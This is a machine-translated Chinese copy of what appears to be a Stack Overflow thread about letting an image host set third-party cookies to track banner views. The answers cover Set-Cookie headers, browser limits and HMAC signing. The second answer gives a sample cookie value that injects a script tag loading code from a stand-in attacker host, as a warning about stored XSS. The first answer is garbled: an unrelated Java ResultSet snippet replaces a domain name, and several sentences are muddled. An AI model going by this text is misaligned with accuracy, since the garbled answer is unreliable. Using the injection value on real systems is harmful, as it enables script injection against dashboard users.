在这种情况下我可以设置cookie吗?

时间:2016-08-10 12:22:14

标签: web-services http cookies

我想在a.com上发布横幅广告,为此,a.com必须通过jsonp向b.com查询横幅网址。如有要求,b.com会返回以下内容:

{
    img_url: www.c.com/banner.jpg
}

我的问题是:c.com是否可以在客户端浏览器上设置cookie,以便它知道客户端是否已经看过这个横幅图像?

澄清:

  1. c.com并未试图跟踪a.com上的任何信息。它只是想在客户端浏览器上设置第三方cookie以进行跟踪。

  2. 我无法控制a.com,因此我无法编写任何客户端JS或要求他们包含任何外部js文件。我只能在b.com上公开查询网址,以便a.com的程序员查询

  3. 我完全控制了b.com和c.com

  4. 当a.com通过JSONP收到横幅网址时,它会将横幅动态插入其DOM中以便显示

  5. 一个小的跟进问题:

    由于我不知道a.com的程序员如何将横幅插入DOM,他们是否有可能从c.com请求图片但仍然阻止c.com设置任何第三方cookie?

2 个答案:

答案 0 :(得分:1)

  

c.com是否可以在客户端浏览器上设置cookie,以便它知道客户端是否已经看过这个横幅图像?

目前不是基于请求。除c.com提及之外,b.com并未涉及b.com

如果www.c.com的回复中的数据用于向www.c.com发出请求,那么www.c.com可能会在其请求中包含Cookie设置标头。

来自同一浏览器的 ResultSet result = stmt.getResultSet(); while (result.next()) { result.getString("CPF"); result.getString("TERMINAL"); result.getString("XXXXX"); ................... } 的后续请求将回复这些cookie。

这些是第三方Cookie,因此更有可能被隐私设置阻止。

答案 1 :(得分:0)

简单版

在来自c.com的HTTP响应中,您可以发送Set-Cookie标头。 如果浏览器最终加载www.c.com/banner1234.jpg以及之后www.c.com/banner7975.jpg,您可以发送,例如Set-Cookie: seen_banners=1234,7975跟踪已查看的横幅。

当HTTP请求到达www.c.com时,它将包含Cookie: seen_banners=1234,7975这样的标题,您可以解析哪些横幅已被看到。

如果你使用这样的单独的cookie:

Set-Cookie: seen_1234=true
Set-Cookie: seen_7975=true

然后你会收到请求标题,如:

Cookie: seen_1234=true; seen_7975=true

根据您希望对值进行多少解析,您可以自行选择。另请注意,您可以考虑设置许多cookie attributes

注意事项

  • 一些现代浏览器和广告拦截扩展程序会阻止这些 饼干作为一种反跟踪措施。他们无法知道你的意图。
  • 这些cookie仅在www.c.com上可见。
  • Cookie会受到浏览器甚至一些人的限制 防火墙。这些可以是每个cookie长度,长度的限制 每个域的cookie总数,或只是cookie的数量。我有 遇到了允许一定数量字节的防火墙 Cookie:请求标头并删除所有Cookie:标头 那个大小。一些较旧的移动设备对cookie的限制非常小 大小
  • Cookie可由用户编辑,并可被篡改 men-in-the-middle。 考虑在cookie值上添加一个身份验证器,例如HMAC,这样您就可以确定您读取的值是您编写的值。这不会防御 replay attacks除非你 在签署cookie之前包括重播防御,例如时间戳。

这非常重要:您在服务器上收到的HTTP请求中的Cookie必须被视为对手控制的数据。除非你像HMAC那样提供保护(并且你保密你的HMAC秘密!)不要将这些值放在可信存储中,而不要将它们标记为污点。如果您制作用于跟踪横幅广告展示的信息中心,并从请求中获取Cookie值的文本并在浏览器中显示,那么如果有人发送,您可能会遇到麻烦:

Cookie: seen_banners=<script src="http://evil.domain.com/attack_banner_author.js"></script>

旁白:我已经回答了您的问题,但我觉得有义务提醒您,jsonp reallyreally对网站www.a.com的用户构成危险。请考虑替代方案,例如仅使用img标记投放HTML。